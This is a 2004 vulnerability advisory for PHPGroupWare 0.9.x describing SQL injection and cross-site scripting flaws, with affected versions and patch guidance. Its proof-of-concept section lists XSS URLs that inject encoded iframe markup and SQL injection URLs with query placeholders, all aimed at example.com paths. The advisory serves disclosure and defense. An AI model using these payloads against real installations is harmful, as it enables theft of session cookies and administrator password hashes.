PHPGroupWare Multiple Cross-Site Scripting and SQL Injection Vulnerabilities

BID:11952

Info

PHPGroupWare Multiple Cross-Site Scripting and SQL Injection Vulnerabilities

Bugtraq ID: 11952
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Dec 15 2004 12:00AM
Updated: Dec 15 2004 12:00AM
Credit: Discovery is credited to James Bercegay of the GulfTech Security Research Team.
Vulnerable: PHPGroupWare PHPGroupWare 0.9.16 RC1
PHPGroupWare PHPGroupWare 0.9.16 .003
+ Gentoo Linux
PHPGroupWare PHPGroupWare 0.9.16 .002
PHPGroupWare PHPGroupWare 0.9.16 .000
PHPGroupWare PHPGroupWare 0.9.14 .007
PHPGroupWare PHPGroupWare 0.9.14 .006
PHPGroupWare PHPGroupWare 0.9.14 .005
PHPGroupWare PHPGroupWare 0.9.14 .003
PHPGroupWare PHPGroupWare 0.9.13
- Debian Linux 2.2
PHPGroupWare PHPGroupWare 0.9.12
- MySQL AB MySQL 3.23.36
- MySQL AB MySQL 3.23.34
- MySQL AB MySQL 3.23.31
- PostgreSQL PostgreSQL 6.5.3
- PostgreSQL PostgreSQL 6.3.2
Not Vulnerable: PHPGroupWare PHPGroupWare 0.9.16 .005
+ Debian Linux 3.1 sparc
 + Debian Linux 3.1 s/390
 + Debian Linux 3.1 ppc
 + Debian Linux 3.1 mipsel
 + Debian Linux 3.1 mips
 + Debian Linux 3.1 m68k
 + Debian Linux 3.1 ia-64
 + Debian Linux 3.1 ia-32
 + Debian Linux 3.1 hppa
 + Debian Linux 3.1 arm
 + Debian Linux 3.1 alpha
 + Debian Linux 3.1

Discussion

PHPGroupWare Multiple Cross-Site Scripting and SQL Injection Vulnerabilities

Reportedly PHPGroupWare contains multiple input validation vulnerabilities; it is prone to multiple SQL injection and cross-site scripting issues. These issues are all due to a failure of the application to properly sanitize user-supplied input.

The SQL injection issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.

The cross-site scripting issues could permit a remote attacker to create a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

These issues were identified in PHPGroupWare 0.9.16.003, however, it is possible that other versions are affected as well.

Exploit / POC

PHPGroupWare Multiple Cross-Site Scripting and SQL Injection Vulnerabilities

An exploit is not required.

The following proof of concept examples are available:

Cross-site scripting:
http://www.example.com/phpgroupware/wiki/index.php?kp3=99884d8a63791f406585913d74476b11
%22%3E%3Ciframe%3E
http://www.example.com/phpgroupware/index.php?menuaction=forum.uiforum.post&type=new%22
%3E%3Ciframe%3E
http://www.example.com/phpgroupware/index.php?menuaction=forum.uiforum.read&msg=202%22%
3E%3Ciframe%3E
http://www.example.com/phpgroupware/index.php?menuaction=forum.uiforum.read&forum_id=3%
22%3E%3Ciframe%3E&msg=202
http://www.example.com/phpgroupware/index.php?menuaction=forum.uiforum.read&msg=42&pos=
10%22%3E%3Ciframe%3E
http://www.example.com/phpgroupware/index.php?menuaction=preferences.uicategories.index
&cats_app=%22%3E%3Ciframe%3E
http://www.example.com/phpgroupware/index.php?menuaction=preferences.uicategories.edit&
cats_app=notes&extra=&global_cats=True&cats_level=True&cat_parent=188&cat_id
=188%22%3E%3Ciframe%3E
http://www.example.com/phpgroupware/index.php?menuaction=email.uimessage.message&msgbal
l[msgnum]=1%22%3E%3Ciframe%3E&msgball[folder]=INBOX.hello&msgball[acctnum]=0
&sort=1&order=1&start=0
http://www.example.com/phpgroupware/index.php?menuaction=email.uicompose.compose&fldbal
l[folder]=INBOX.hello&fldball[acctnum]=0&to=%22%3E%3Ciframe%3E&personal=&sor
t=1&order=1&start=0
http://www.example.com/phpgroupware/tts/viewticket_details.php?ticket_id=338%22%3E%3Cif
rame%3E

SQL Injection:
http://www.example.com/phpgroupware/tts/viewticket_details.php?ticket_id=355[SQL_QUERY]
http://www.example.com/phpgroupware/index.php?menuaction=todo.ui.show_list&order=[SQL_Q
UERY]&sort=ASC&filter=&qfield=&start=&query=
http://www.example.com/phpgroupware/index.php?menuaction=projects.uiprojects.list_proje
cts&order=[SQL_QUERY]&sort=ASC&filter=&qfield=&start=&query=&pro_main=&actio
n=mains
http://www.example.com/phpgroupware/index.php?menuaction=projects.uiprojects.edit_proje
ct&pro_main=31&action=subs&project_id=32[SQL_QUERY]
http://www.example.com/phpgroupware/index.php?menuaction=projects.uiprojects.edit_proje
ct&pro_main=31[SQL_QUERY]&action=subs&project_id=32
http://www.example.com/phpgroupware/index.php?menuaction=projects.uiprojects.view_proje
ct&pro_main=31&action=subs&project_id=32[SQL_QUERY]&domain=default
http://www.example.com/phpgroupware/index.php?menuaction=projects.uiprojects.view_proje
ct&pro_main=31[SQL_QUERY]&action=subs&project_id=32&domain=default&494fbb
http://www.example.com/phpgroupware/index.php?menuaction=projects.uiprojecthours.view_h
ours&project_id=32&pro_parent=&action=subs&hours_id=26[SQL_QUERY]&domain=def
ault

Solution / Fix

PHPGroupWare Multiple Cross-Site Scripting and SQL Injection Vulnerabilities

Solution:
Gentoo has released an advisory to provide updates for this issue. Updates may be applied by running the following commands as the superuser:

emerge --sync
emerge --ask --oneshot --verbose ">=www-apps/phpgroupware-0.9.16.004"

The vendor has addressed these issues in PHPGroupWare 0.9.16.005.


PHPGroupWare PHPGroupWare 0.9.12

PHPGroupWare PHPGroupWare 0.9.13

PHPGroupWare PHPGroupWare 0.9.14 .006

PHPGroupWare PHPGroupWare 0.9.14 .005

PHPGroupWare PHPGroupWare 0.9.14 .003

PHPGroupWare PHPGroupWare 0.9.14 .007

PHPGroupWare PHPGroupWare 0.9.16 RC1

PHPGroupWare PHPGroupWare 0.9.16 .000

PHPGroupWare PHPGroupWare 0.9.16 .003

PHPGroupWare PHPGroupWare 0.9.16 .002

References

PHPGroupWare Multiple Cross-Site Scripting and SQL Injection Vulnerabilities

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